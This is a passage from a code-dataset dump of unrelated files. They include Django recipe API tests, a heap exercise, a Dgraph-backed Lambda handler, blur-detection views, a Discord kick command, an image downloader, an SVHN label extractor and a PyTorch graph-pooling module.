status.HTTP_200_OK)\n self.assertEqual(res.data, serializer.data)\n\n def test_recipes_limited_to_user(self):\n \"\"\"Test retrieving recipes for user\"\"\"\n # test recipes are limited to the authenticated user.\n user2 = get_user_model().objects.create_user(\n 'other@londonappdev.com',\n 'pass'\n )\n sample_recipe(user=user2)\n sample_recipe(user=self.user)\n\n res = self.client.get(RECIPES_URL)\n # filter our recipes by the authenticated user\n\n recipes = Recipe.objects.filter(user=self.user)\n serializer = RecipeSerializer(recipes, many=True)\n # many=true: this is because we were returning the list view\n # or we wanted to simulate the list view in our serializer\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(len(res.data), 1)\n self.assertEqual(res.data, serializer.data)\n\n def test_view_recipe_detail(self):\n \"\"\"Test viewing a recipe detail\"\"\"\n recipe = sample_recipe(user=self.user)\n recipe.tags.add(sample_tag(user=self.user))\n recipe.ingredients.add(sample_ingredient(user=self.user))\n\n url = detail_url(recipe.id)\n res = self.client.get(url)\n\n serializer = RecipeDetailSerializer(recipe)\n # in this case we just want to serialize a single object\n self.assertEqual(res.data, serializer.data)\n\n def test_create_basic_recipe(self):\n \"\"\"Test creating recipe\"\"\"\n payload = {\n 'title': 'Test recipe',\n 'time_minutes': 30,\n 'price': 10.00,\n }\n res = self.client.post(RECIPES_URL, payload)\n # post this payload dictionary to our recipes URL.\n\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n # this is the standard HTTP response code for creating objects\n # in an API.\n recipe = Recipe.objects.get(id=res.data['id'])\n # When you create an object using the Django rest framework the\n # default behavior is that it will return a dictionary containing\n # the created object This is how I know that if we do res.data and\n # retrieve the id key this will get the id of the created object.\n\n # Next what we're going to do is we're going to loop through each\n # one of these keys and then we're going to check\n # that is the correct value assigned to our recipe model.\n for key in payload.keys():\n self.assertEqual(payload[key], getattr(recipe, key))\n # assertion for each one of these keys, check that it is\n # equal to the same key in the recipe\n # payload[key]: This will actually get the value of the\n # key in our payload object\n # getattr: that allows you to retrieve an attribute from\n # an object by passing in a variable. (instead of recipe.key)\n\n def test_create_recipe_with_tags(self):\n \"\"\"Test creating a recipe with tags\"\"\"\n tag1 = sample_tag(user=self.user, name='Tag 1')\n tag2 = sample_tag(user=self.user, name='Tag 2')\n payload = {\n 'title': 'Test recipe with two tags',\n 'tags': [tag1.id, tag2.id],\n 'time_minutes': 30,\n 'price': 10.00\n }\n res = self.client.post(RECIPES_URL, payload)\n\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n recipe = Recipe.objects.get(id=res.data['id'])\n # retrieve the created recipe\n tags = recipe.tags.all()\n # retrieve the tags that were created with the recipe\n self.assertEqual(tags.count(), 2)\n # because we expect two tags to be assigned.\n self.assertIn(tag1, tags)\n self.assertIn(tag2, tags)\n # check if the tags that we created as our sample tags are\n # the same as the tags that are in our queryset.\n\n def test_create_recipe_with_ingredients(self):\n \"\"\"Test creating recipe with ingredients\"\"\"\n ingredient1 = sample_ingredient(user=self.user, name='Ingredient 1')\n ingredient2 = sample_ingredient(user=self.user, name='Ingredient 2')\n payload = {\n 'title': 'Test recipe with ingredients',\n 'ingredients': [ingredient1.id, ingredient2.id],\n 'time_minutes': 45,\n 'price': 15.00\n }\n\n res = self.client.post(RECIPES_URL, payload)\n\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n recipe = Recipe.objects.get(id=res.data['id'])\n ingredients = recipe.ingredients.all()\n # get the ingredients queryset\n self.assertEqual(ingredients.count(), 2)\n self.assertIn(ingredient1, ingredients)\n self.assertIn(ingredient2, ingredients)\n\n# test partial update and full update of an object\n# there are two ways in which you can update an object using the\n# API there's two different HTTP methods: put, patch\n# patch: Patch is used to update the fields that are provided\n# in the payload so the only fields that it will change are the\n# fields that are provided and any fields that are omitted from\n# the request will not be modified in the object that's being updated.\n def test_partial_update_recipe(self):\n \"\"\"Test updating a recipe with patch\"\"\"\n # make a request to change a field in our recipe.\n recipe = sample_recipe(user=self.user)\n recipe.tags.add(sample_tag(user=self.user))\n # add a tag to the recipe\n new_tag = sample_tag(user=self.user, name='Curry')\n # add a new tag and what we're going to do is we're going\n # to swap out this tag that we create here and we're going\n # to replace it with a new tag\n payload = {'title': 'Partially Updated sample recipe',\n 'tags': [new_tag.id]}\n # tags will be replaced with this new tag so the existing tag that\n # we created won't be assigned to it\n url = detail_url(recipe.id)\n # the way that you update an object using the Django rest framework\n # view sets is you use the detail URL so that is the URL of the\n # recipe with the ID of the recipe that we want to update.\n self.client.patch(url, payload)\n # make request\n # We're going to retrieve an update to the recipe from the\n # database and then we're going to check the fields that\n # are assigned and just make sure they match what we expect.\n\n recipe.refresh_from_db()\n # refreshes the details in our recipe from the database\n # typically when you create a new model and you have a\n # reference to a model the details of that won't change\n # unless you do refresh from dB if the values have changed\n # in the database.\n self.assertEqual(recipe.title, payload['title'])\n tags = recipe.tags.all()\n self.assertEqual(len(tags), 1)\n self.assertIn(new_tag, tags)\n # check that the tag new tag is in the tags that we retrieved\n\n # test full update\n # put: it will replace the object that we're updating with the full\n # object that is provided in the request that means if you exclude\n # any fields in the payload those fields will actually be removed\n # from the object that you're updating\n def test_full_update_recipe(self):\n \"\"\"Test updating a recipe with put\"\"\"\n recipe = sample_recipe(user=self.user)\n recipe.tags.add(sample_tag(user=self.user))\n\n payload = {\n 'title': 'Fully Updated sample recipe',\n 'time_minutes': 25,\n 'price': 5.00\n }\n url = detail_url(recipe.id)\n self.client.put(url, payload)\n\n recipe.refresh_from_db()\n self.assertEqual(recipe.title, payload['title'])\n self.assertEqual(recipe.time_minutes, payload['time_minutes'])\n self.assertEqual(recipe.price, payload['price'])\n tags = recipe.tags.all()\n self.assertEqual(len(tags), 0)\n # we will check that the tags assigned are zero now as I explained\n # because when we do a HTTP put if we omit a field\n # that should clear the value of that field so now our recipe\n # that did have a sample tag assigned should not have any tags\n # assigned\n\n\nclass RecipeImageUploadTests(TestCase):\n # what happens at the setup of the test\n def setUp(self):\n self.client = APIClient()\n self.user = get_user_model().objects.create_user('user', 'testpass')\n self.client.force_authenticate(self.user)\n # authenticate our user\n self.recipe = sample_recipe(user=self.user)\n\n # after the test runs it runs tear down\n def tearDown(self):\n self.recipe.image.delete()\n # make sure that our file system is kept clean after our test\n # removing all of the test files that we create\n # delete the image if it exists in the recipe\n\n def test_upload_image_to_recipe(self):\n \"\"\"Test uploading an image to recipe\"\"\"\n url = image_upload_url(self.recipe.id)\n # going to use the sample recipe that gets created\n\n # it creates a named temporary file on the system at a random\n # location usually in the /temp folder\n\n # create a temporary file we're going to write an image\n # to that file and then we're going to upload that file\n # through the API like you would with a HTTP POST and then\n # we're going to run some assertions to check that it\n # uploaded correctly\n with tempfile.NamedTemporaryFile(suffix='.jpg') as ntf:\n img = Image.new('RGB', (10, 10))\n # creates black square\n img.save(ntf, format='JPEG')\n ntf.seek(0)\n # it's the way that Python reads files so because we've\n # saved the file it will be the seeking will be done to the\n # end of the file so if you try to access it then it would\n # just be blank because you've already read up to the end\n # of the file so use this seek function to set\n # the pointer back to the beginning of the file\n res = self.client.post(url, {'image': ntf}, format='multipart')\n\n # assertions\n # refreshing the database for our recipe\n self.recipe.refresh_from_db()\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n # check that the images in the response so that's the path to\n # the image that should be accessible\n self.assertIn('image', res.data)\n # check that the path exists for the image that is saved to our model\n self.assertTrue(os.path.exists(self.recipe.image.path))\n\n def test_upload_image_bad_request(self):\n \"\"\"Test uploading an invalid image\"\"\"\n url = image_upload_url(self.recipe.id)\n res = self.client.post(url, {'image': 'notimage'}, format='multipart')\n\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_filter_recipes_by_tags(self):\n \"\"\"Test returning recipes with specific tags\"\"\"\n recipe1 = sample_recipe(user=self.user, title='Thai vegetable curry')\n recipe2 = sample_recipe(user=self.user, title='Aubergine with tahini')\n tag1 = sample_tag(user=self.user, name='Vegan')\n tag2 = sample_tag(user=self.user, name='Vegetarian')\n recipe1.tags.add(tag1)\n recipe2.tags.add(tag2)\n recipe3 = sample_recipe(user=self.user, title='Fish and chips')\n\n res = self.client.get(\n RECIPES_URL,\n {'tags': '{},{}'.format(tag1.id, tag2.id)}\n )\n # this will create a comma separated list string and assign\n # it to the tags get parameter\n # if our filtering is working\n # should only return the first two recipe\n\n # test the response:\n serializer1 = RecipeSerializer(recipe1)\n serializer2 = RecipeSerializer(recipe2)\n serializer3 = RecipeSerializer(recipe3)\n # serialize the recipes and we're going to check if\n # they exist in the responses returned\n self.assertIn(serializer1.data, res.data)\n self.assertIn(serializer2.data, res.data)\n self.assertNotIn(serializer3.data, res.data)\n # check the return result\n\n def test_filter_recipes_by_ingredients(self):\n \"\"\"Test returning recipes with specific ingredients\"\"\"\n recipe1 = sample_recipe(user=self.user, title='Posh beans on toast')\n recipe2 = sample_recipe(user=self.user, title='Chicken cacciatore')\n ingredient1 = sample_ingredient(user=self.user, name='Feta cheese')\n ingredient2 = sample_ingredient(user=self.user, name='Chicken')\n recipe1.ingredients.add(ingredient1)\n recipe2.ingredients.add(ingredient2)\n recipe3 = sample_recipe(user=self.user, title='Steak and mushrooms')\n\n # test API\n res = self.client.get(\n RECIPES_URL,\n {'ingredients': '{},{}'.format(ingredient1.id, ingredient2.id)}\n )\n\n serializer1 = RecipeSerializer(recipe1)\n serializer2 = RecipeSerializer(recipe2)\n serializer3 = RecipeSerializer(recipe3)\n self.assertIn(serializer1.data, res.data)\n self.assertIn(serializer2.data, res.data)\n self.assertNotIn(serializer3.data, res.data)\n","sub_path":"app/recipe/tests/test_recipe_api.py","file_name":"test_recipe_api.py","file_ext":"py","file_size_in_byte":16661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"179333179","text":"def min_heap(idx):\n if idx <= n:\n tree[idx] = nums[idx-1]\n i = idx\n while tree[i] < tree[i//2]:\n tree[i//2], tree[i] = tree[i], tree[i//2]\n i = i // 2\n min_heap(idx+1)\n\nfor tc in range(1, int(input())+1):\n n = int(input())\n nums = list(map(int, input().split()))\n tree = [0]*(n+1)\n min_heap(1)\n sum_val = 0\n n = n // 2\n while n > 0:\n sum_val += tree[n]\n n = n // 2\n print('#%d %d' %(tc, sum_val))","sub_path":"0406/5177.이진힙.py","file_name":"5177.이진힙.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"344056778","text":"from typing import List, Dict, Any\n\nfrom pydgraph import DgraphClient\n\nprint('import boto3')\nimport boto3\n\nprint('import pydgraph')\nimport pydgraph\n\nprint('import json')\nimport json\n\nprint('import time')\nimport time\n\nfrom hashlib import sha256\n\n\ndef list_all_lenses(prefix: str) -> List[Dict[str, Any]]:\n client_stub = pydgraph.DgraphClientStub('alpha0.engagementgraphcluster.grapl:9080')\n dg_client = pydgraph.DgraphClient(client_stub)\n\n # DGraph query for all nodes with a 'lens' that matches the 'prefix'\n if prefix:\n query = \"\"\"\n query q0($a: string)\n {\n q0(func: alloftext(lens, $a), orderdesc: score)\n {\n uid,\n node_key,\n lens,\n score\n }\n }\"\"\"\n\n variables = {'$a': prefix}\n else:\n query = \"\"\"\n {\n q0(func: has(lens), orderdesc: score)\n {\n uid,\n node_key,\n lens,\n score\n }\n }\"\"\"\n\n variables = {}\n\n txn = dg_client.txn(read_only=True)\n\n try:\n res = json.loads(txn.query(query, variables=variables).json)\n return res['q0']\n finally:\n txn.discard()\n\n# Just query the schema in the future\nprocess_properties = [\n 'process_id', 'node_key', 'create_time', 'arguments',\n 'process_name'\n]\n\nfile_properties = [\n 'node_key', 'file_path'\n]\n\n\nedge_names = [\n 'children',\n 'bin_file',\n 'created_file',\n 'scope',\n]\n\n# Get all nodes in a lens scope, and all of the edges from nodes in the scope to other nodes in the scope\ndef get_lens_scope(dg_client, lens):\n query = \"\"\"\n query q0($a: string)\n {\n # Find the lens node, get its scope uids\n var(func: eq(lens, $a)) {\n scope {\n p as _predicate_\n }\n }\n \n \n q0(func: eq(lens, $a)) {\n uid,\n node_key,\n lens,\n score,\n scope {\n uid,\n expand(_forward_) {\n uid,\n expand(_forward_) {\n uid,\n analyzer_name,\n risk_score,\n expand(val(p)),\n\n ~scope @filter(eq(lens, $a) OR has(risk_score)) {\n uid, node_key, analyzer_name, risk_score,\n }\n }\n \n ~scope @filter(eq(lens, $a) OR has(risk_score)) {\n uid, node_key, analyzer_name, risk_score,\n }\n }\n }\n }\n }\"\"\"\n\n txn = dg_client.txn(read_only=True)\n\n try:\n variables = {'$a': lens}\n res = json.loads(txn.query(query, variables=variables).json)\n return res['q0']\n finally:\n txn.discard()\n\n\ndef hash_node(node):\n hash_str = str(node['uid'])\n print(node)\n props = []\n for prop_name, prop_value in node:\n if isinstance(prop_value, list):\n if len(prop_value) > 0 and isinstance(prop_value[0], dict):\n if prop_value[0].get('uid'):\n continue\n\n props.append(prop_name + str(prop_value))\n\n props.sort()\n hash_str += \"\".join(props)\n\n edges = []\n\n for prop_name, prop_value in node:\n if isinstance(prop_value, list):\n if len(prop_value) > 0 and isinstance(prop_value[0], dict):\n if not prop_value[0].get('uid'):\n continue\n edge_uids = []\n for edge in prop_value:\n edges.append(prop_name + edge['uid'])\n\n edge_uids.sort()\n edges.append(\"\".join(edge_uids))\n\n edges.sort()\n print(edges)\n hash_str += \"\".join(edges)\n # return hash_str\n return sha256(hash_str.encode()).hexdigest()\n\n\ndef get_updated_graph(dg_client, initial_graph, lens):\n current_graph = get_lens_scope(dg_client, lens)\n\n new_or_modified = []\n for node in current_graph:\n if initial_graph.get(node['uid']):\n node_hash = initial_graph[node['uid']]\n if node_hash != hash_node(node):\n new_or_modified.append(node)\n else:\n new_or_modified.append(node)\n\n all_uids = []\n for node in current_graph:\n if node.get('scope'):\n all_uids.extend([node['uid'] for node in node.get('scope')])\n all_uids.append(node['uid'])\n\n removed_uids = set(initial_graph.keys()) - \\\n set(all_uids)\n\n return new_or_modified, list(removed_uids)\n\n\ndef try_get_updated_graph(body):\n print('Trying to update graph')\n client_stub = pydgraph.DgraphClientStub('alpha0.engagementgraphcluster.grapl:9080')\n dg_client = pydgraph.DgraphClient(client_stub)\n\n lens = body[\"lens\"]\n\n # Mapping from `uid` to node hash\n initial_graph = body[\"uid_hashes\"]\n\n print(f'lens: {lens} initial_graph: {initial_graph}')\n\n # Try for 20 seconds max\n max_time = int(time.time()) + 20\n while True:\n print(\"Getting updated graph\")\n updated_nodes, removed_nodes = get_updated_graph(\n dg_client,\n initial_graph,\n lens\n )\n\n updates = {\n 'updated_nodes': updated_nodes,\n 'removed_nodes': removed_nodes\n }\n\n if updated_nodes or removed_nodes:\n print(\"Graph has been updated: \")\n return updates\n\n now = int(time.time())\n\n if now >= max_time:\n print(\"Timed out before finding an update\")\n return updates\n print(\"Graph has not updated\")\n time.sleep(0.75)\n\n\ndef respond(err, res=None):\n return {\n 'statusCode': '400' if err else '200',\n 'body': err if err else json.dumps(res),\n 'headers': {\n 'Access-Control-Allow-Origin': '*',\n 'Content-Type': 'application/json',\n 'Access-Control-Allow-Methods': 'GET,POST,OPTIONS',\n 'X-Requested-With': '*',\n },\n }\n\n\ndef lambda_handler(event, context):\n try:\n print(f\"httpMethod: {event['httpMethod']}\")\n print(f\"path: {event['path']}\")\n\n if event['httpMethod'] == 'OPTIONS':\n return respond(None, {})\n\n if '/update' in event['path']:\n update = try_get_updated_graph(json.loads(event[\"body\"]))\n return respond(None, update)\n\n if '/getLenses' in event['path']:\n prefix = json.loads(event[\"body\"]).get('prefix', '')\n lenses = list_all_lenses(prefix)\n return respond(None, {'lenses': lenses})\n\n return respond(f\"Invalid path: {event['path']}\", {})\n except Exception as e:\n print('Failed with e {}'.format(e))\n return respond(\"Error fetching updates {}\".format(e))\n\n","sub_path":"engagement_ux/engagement_edge/src/engagement_edge.py","file_name":"engagement_edge.py","file_ext":"py","file_size_in_byte":6949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"63874146","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.core.files.storage import FileSystemStorage\n\nimport requests\nimport sys\nimport cv2\nimport numpy as np\nimport base64\n\n\nfrom subprocess import run,PIPE\n\nimport blurdetect.blur_detection.detection\nfrom blurdetect.process import do_detection\n\ndef detect(request):\n # return HttpResponse('Hello from Python!')\n return render(request, \"detect.html\")\n\ndef output(request):\n data='Fdgdf'\n print(data)\n data=data\n out='out---------------put' \n out2=do_detection('hazy.png', 'results.json')\n print(out2)\n print(out)\n return render(request,'detect.html',{'data':out2})\n\ndef simple_upload(request):\n if request.method == 'POST' and request.FILES['myfile']:\n myfile = request.FILES['myfile']\n fs = FileSystemStorage()\n filename = fs.save(myfile.name, myfile)\n uploaded_file_url = fs.url(filename)\n return render(request, 'simple_upload.html', {\n 'uploaded_file_url': uploaded_file_url\n })\n else:\n out2 = do_detection('hazy.png', 'results.json')\n print('Initial output - ')\n print(out2)\n return render(request, 'simple_upload.html',{'data':out2})\n\ndef start_page(request):\n print(\"Start\")\n return render(request, \"bd.html\")\n\ndef bd_upload(request):\n if request.method == 'POST' and request.FILES['myfile']:\n myfile = request.FILES['myfile']\n fs = FileSystemStorage()\n filename = fs.save(myfile.name, myfile)\n uploaded_file_url = fs.url(filename)\n\n # Read image\n image = cv2.imdecode(np.fromstring(myfile.read(), np.uint8), cv2.IMREAD_UNCHANGED)\n\n # In memory\n image_content = cv2.imencode('.jpg', image)[1].tostring()\n encoded_image = base64.encodebytes(image_content)\n to_send = 'data:image/jpg;base64, ' + str(encoded_image, 'utf-8')\n print(\"Reached ------------------ \")\n return render(request, \"bd.html\", faceDetected=True, num_faces=0, image_to_show=to_send, init=True)\n","sub_path":"blurdetect/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"258357854","text":"from discord.ext import commands\nfrom util.pyutil import buildMultiMatchString, splitArgs\nfrom util.discordutil import resolveMember, modActionLogEmbed\n\nclass Kick(commands.Cog, name='Kick'):\n\tdef __init__(self, bot):\n\t\tself.bot = bot\n\t\tself.modLogChannelID=713131470625046549 #will be guild lookup for value in database\n\t\n\t@commands.command(description=\"Kick a member from the server\", usage=' [-r ]')\n\tasync def kick(self, ctx,*, member=None, reason=\"No reason provided\"):\n\t\tif member is None:\n\t\t\tmem = None\n\t\telse:\n\t\t\targs = splitArgs(member)\n\t\t\tif len(args)==1:\n\t\t\t\tmember = args[0]\n\t\t\telse:\n\t\t\t\tmember = args[0][0]\n\t\t\t#resolve argument to a member\n\t\t\tmem = await resolveMember(ctx, member)\n\t\t\n\t\tif mem is None:\n\t\t\t#return when input cannot be resolved\n\t\t\tawait ctx.send('You must provide a valid user reference{}'.format(f': \"{member}\" could not be resolved to a user' if member is not None else ''))\n\t\t\treturn\n\t\t\n\t\tif(isinstance(mem, list)):\n\t\t\tusersFound = buildMultiMatchString(self.bot.command_prefix, 'kick', mem, member)\n\t\t\tawait ctx.send(usersFound)\n\t\telse:\n\t\t\tindexReason = -1\n\t\t\ttry:\n\t\t\t\tindexReason = args[1].index('r') + 1\n\t\t\texcept Exception:\n\t\t\t\tpass\n\t\t\tif indexReason > -1:\n\t\t\t\ttry:\n\t\t\t\t\tif args[0][indexReason] is not None:\n\t\t\t\t\t\treason = args[0][indexReason]\n\t\t\t\texcept Exception:\n\t\t\t\t\tawait ctx.send('An error occurred while attempting to parse arguments')\n\t\t\t\t\treturn\n\t\t\ttry:\n\t\t\t\tawait ctx.guild.kick(mem, reason=reason)\n\t\t\t\tif self.modLogChannelID is not None:\n\t\t\t\t\tawait ctx.guild.get_channel(self.modLogChannelID).send(embed=modActionLogEmbed('Kicked',mem,reason,ctx.author))\n\t\t\texcept Exception:\n\t\t\t\tawait ctx.send('An unknown error occured. Please try again later')\n\ndef setup(bot):\n\tbot.add_cog(Kick(bot))\n","sub_path":"commands/kick.py","file_name":"kick.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"287563993","text":"import uuid\n\nfrom src.common.database import Database\n\n\nclass Material(object):\n def __init__(self,subject,course,content,_id=None):\n self.subject = subject\n self.course = course\n self.content = content\n self._id = uuid.uuid4().hex if _id is None else _id\n\n def json(self):\n return {\n \"subject\":self.subject,\n \"course\":self.course,\n \"content\":self.content,\n \"_id\":self._id\n }\n\n def save_to_mongo(self):\n Database.insert('study_materials',self.json())\n return True\n\n @classmethod\n def get_materials(cls):\n datas = Database.find_all('study_materials',{})\n if datas is not None:\n return [cls(**data) for data in datas]\n return None\n\n @classmethod\n def get_materials_by_course(cls,course):\n datas = Database.find_all('study_materials', {'course':course})\n if datas is not None:\n return [cls(**data) for data in datas]\n return None\n\n @classmethod\n def get_materials_by_subject(cls, subject):\n datas = Database.find_all('study_materials', {'subject': subject})\n if datas is not None:\n return [cls(**data) for data in datas]\n return None\n\n @classmethod\n def get_material_by_id(cls, id):\n data = Database.find_one('study_materials', {'_id': id})\n return cls(**data)","sub_path":"src/model/study_materials/materials.py","file_name":"materials.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"261495656","text":"from urllib import request, error\nimport os\nimport re\n\nhtml = request.urlopen('http://www.baidu.com/')\nprint(html.readline())\nprint(html.read(4096))\nprint(html.readlines())\n\n\ndef download(url, fname):\n header = {'User-Agent': '\"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\"'}\n r = request.Request(url, headers=header)\n try:\n html = request.urlopen(r)\n except error.HTTPError as e:\n print(e)\n else:\n with open(fname, 'wb')as f:\n while True:\n data = html.read(4096)\n if not data:\n break\n f.write(data)\n\n\ndef search_url(fname, patt):\n patt_list = []\n cpatt = re.compile(patt)\n with open(fname) as f:\n for line in f:\n m = cpatt.search(line)\n if m:\n item = m.group()\n patt_list.append(item)\n return patt_list\n\n\nif __name__ == '__main__':\n download('https://www.baidu.com/', '/tmp/baidu.html')\n download(\n 'https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1535435104365&di=479f195cd21bfc3ef8becca251976d43&imgtype=jpg&src=http%3A%2F%2Fimg4.imgtn.bdimg.com%2Fit%2Fu%3D2326766919%2C2993649423%26fm%3D214%26gp%3D0.jpg',\n '/tmp/girl.jpg')\n r = request.quote('你好')\n print(r)\n ur = request.unquote(r)\n print(ur)\n img_dirs = '/tmp/imgs'\n if not os.path.exists(img_dirs):\n os.mkdir(img_dirs)\n photo = '/tmp/photo'\n download('http://www.tmooc.cn/', photo)\n img_patt = 'http://[\\w./]+\\.(jpg|jpeg|gif|png)'\n img_list = search_url(photo, img_patt)\n print(img_list)\n for url in img_list:\n fname = url.split('/')[-1]\n fname = os.path.join(img_dirs, fname)\n download(url, fname)\n","sub_path":"urllib_test.py","file_name":"urllib_test.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"370841487","text":"# -*- coding: utf-8 -*-\n\"\"\"\nFile: getlabels.py\nProject: Object Recognition System\nDate: 14/10/2021\nAuthor: Diego Bueno da Silva\ne-mail: d.bueno.da.silva.10@student.scu.edu.au\nID: 23567850\n\nDataset source: http://ufldl.stanford.edu/housenumbers/\n\nIssue with MacOS:\n https://github.com/mluerig/phenopype/issues/5\n https://stackoverflow.com/questions/6116564/destroywindow-does-not-close-window-on-mac-using-python-and-opencv\n\nRequired libraries:\n \n pip install mat73 # to read MatLat v7.3 file\n pip install opencv-python\n pip install opencv-contrib-python\n pip install Pillow\n \n\"\"\"\nimport cv2\nimport sys\nimport mat73\nimport pathlib\nimport numpy as np\nimport csv\n\npath = str(pathlib.Path(__file__).resolve().parent) + \"/\"\nsys.path.append(path)\n\n\n##########################################################################\n# Function: saveLabeltoCSV\n# Author: Diego Bueno - d.bueno.da.silva.10@student.scu.edu.au \n# Date: 08/09/2021\n# Description: Save the labes to an SCV file\n# \n# \n# Parameters: pathImages - a string with the path where the file is created.\n# l;abel - the label to add in the file\n# \n# Return: null\n#\n##########################################################################\n\ndef saveLabeltoCSV(pathToCsv, label = ''):\n\n with open(pathToCsv, 'a', encoding='UTF8') as f:\n writer = csv.writer(f)\n writer.writerow(label)\n \n return\n# end of saveLabeltoCSV function\n\n\n##########################################################################\n# Function: ReadingAndPreProcessingImages \n# Author: Diego Bueno - d.bueno.da.silva.10@student.scu.edu.au \n# Date: 29/08/2021\n# Description: Reading all the imagens from defined path, getting the ROI \n# and labels them according to digitStruct.mat file.\n# \n# Parameters: pathImages - a string with the path where images are in.\n# matLabFileDatDict - a string with the matlab file dict.\n# \n# Return: null\n#\n##########################################################################\n\ndef gettingLabels(pathImages, matLabFileDatDict):\n \n # mat73 lib takes long to read test_digitStruct.mat\n print( \"\\nReading the metadados digitStruct.mat\\n\" )\n print( \"It may take time, be patience...\\n\" )\n \n data_dict = mat73.loadmat(matLabFileDatDict) \n boxes = data_dict['digitStruct']['bbox']\n fileNames = data_dict['digitStruct']['name']\n \n #boxes[0] # 5 \n #{'height': array(30.),\n # 'label': array(5.),\n # 'left': array(43.),\n # 'top': array(7.),\n # 'width': array(19.)}\n \n #boxes[1] # 210\n #{'height': [array(23.), array(23.), array(23.)],\n # 'label': [array(2.), array(1.), array(10.)],\n # 'left': [array(99.), array(114.), array(121.)],\n # 'top': [array(5.), array(8.), array(6.)],\n # 'width': [array(14.), array(8.), array(12.)]}\n \n #\tcv2.IMREAD_COLOR or 1: Read the image in colour mode.\n #\tcv2.IMREAD_GRAYSCALE or 0: Read the image in grayscale mode.\n #\tcv2.IMREAD_UNCHANGED or -1: Read the image with alpha channels.\n \n print( \"Reading dataset \" + pathImages )\n \n for i in range(0,len(fileNames)):\n \n print( \"Reading file \" + fileNames[i] + \"...\")\n \n if type(boxes[i]['label']).__module__ == np.__name__:\n boxes[i]['label'] = [ boxes[i]['label'] ]\n boxes[i]['top'] = [ boxes[i]['top'] ]\n boxes[i]['height'] = [ boxes[i]['height'] ]\n boxes[i]['left'] = [ boxes[i]['left'] ]\n boxes[i]['width'] = [ boxes[i]['width'] ]\n \n # Creating a new file to each box ( number in the original image ) \n for number in range(0, len(boxes[i]['label']) ) :\n \n label = str(int(boxes[i]['label'][number]))\n\n try: \n print(\"Saving labels to csv file\")\n saveLabeltoCSV(pathImages + \"labels.csv\", label)\n \n except:\n print(\"An exception occurred trying to save the new images.\")\n \n \n print(\"\\nFinished the step of getting labels from the dataset \" + pathImages)\n\n return\n# end of function\n\n\n# Reading and gettin labels from train dataset \ngettingLabels(path + \"../dataset/train/\", path + '../dataset/train_digitStruct.mat')\n\n# Reading and getting labels from test dataset \ngettingLabels(path + \"../dataset/test/\", path + '../dataset/test_digitStruct.mat')\n\n\n\n\n\n\n\n\n\n","sub_path":"system/src/getlabels.py","file_name":"getlabels.py","file_ext":"py","file_size_in_byte":4564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"203039005","text":"import os\nimport logging\nimport getpass\n\nimport torch\nfrom torch import nn\nfrom torch.autograd import Variable\nfrom torchvision import transforms\nimport sklearn\nimport sklearn.cluster\n\nimport numpy as np\n\n\nclass PoolGraph(object):\n\n \"\"\"\n Given x values, a adjacency graph, and a list of value to keep, return the coresponding x.\n \"\"\"\n\n def __init__(self, adj, to_keep, please_ignore=False, type='max', cuda=False, **kwargs):\n\n self.type = type\n self.please_ignore = please_ignore\n self.adj = adj\n self.to_keep = to_keep\n self.cuda = cuda\n self.nb_nodes = self.adj.shape[0]\n\n logging.info(\"We are keeping {} elements.\".format(to_keep.sum()))\n if to_keep.sum() == adj.shape[0]:\n logging.info(\"We are keeping all the nodes. ignoring the agregation step.\")\n self.please_ignore = True\n\n def __call__(self, x):\n # x if of the shape (ex, node, channel)\n if self.please_ignore:\n return x\n\n adj = Variable(torch.FloatTensor(self.adj), requires_grad=False)\n to_keep = Variable(torch.FloatTensor(self.to_keep.astype(float)), requires_grad=False)\n if self.cuda:\n adj = adj.cuda()\n to_keep = to_keep.cuda()\n\n x = x.permute(0, 2, 1).contiguous() # put in ex, channel, node\n x_shape = x.size()\n\n if self.type == 'max':\n max_value = (x.view(-1, x.size(-1), 1) * adj).max(dim=1)[0]\n elif self.type == 'mean':\n max_value = (x.view(-1, x.size(-1), 1) * adj).mean(dim=1)\n elif self.type == 'strip':\n max_value = x.view(-1, x.size(-1))\n else:\n raise ValueError()\n\n retn = max_value * to_keep # Zero out The one that we don't care about.\n retn = retn.view(x_shape).permute(0, 2, 1).contiguous() # put back in ex, node, channel\n return retn\n\n\nclass AggregationGraph(object):\n\n \"\"\"\n Master Agregator. Will return the agregator function and the adj for each layer of the network.\n \"\"\"\n\n def __init__(self, adj, nb_layer, adj_transform=None, cuda=False, cluster_type=None, **kwargs):\n\n self.nb_layer = nb_layer\n self.adj = adj\n self.cuda = cuda\n self.adj_transform = adj_transform\n self.cluster_type = cluster_type\n self.clustering = None\n\n # Build the hierarchy of clusters.\n self.init_cluster()\n\n # Build the aggregate function\n self.aggregates = []\n for adj, to_keep in zip(self.aggregate_adjs, self.to_keeps):\n aggregate_adj = PoolGraph(adj=adj, to_keep=to_keep, cuda=cuda)\n self.aggregates.append(aggregate_adj)\n\n def init_cluster(self):\n # Cluster multi-scale everything\n nb_nodes = self.adj.shape[0]\n to_keep = np.ones((nb_nodes,))\n\n all_to_keep = [] # At each agregation, which node to keep.\n all_aggregate_adjs = [] # At each agregation, which node are connected to 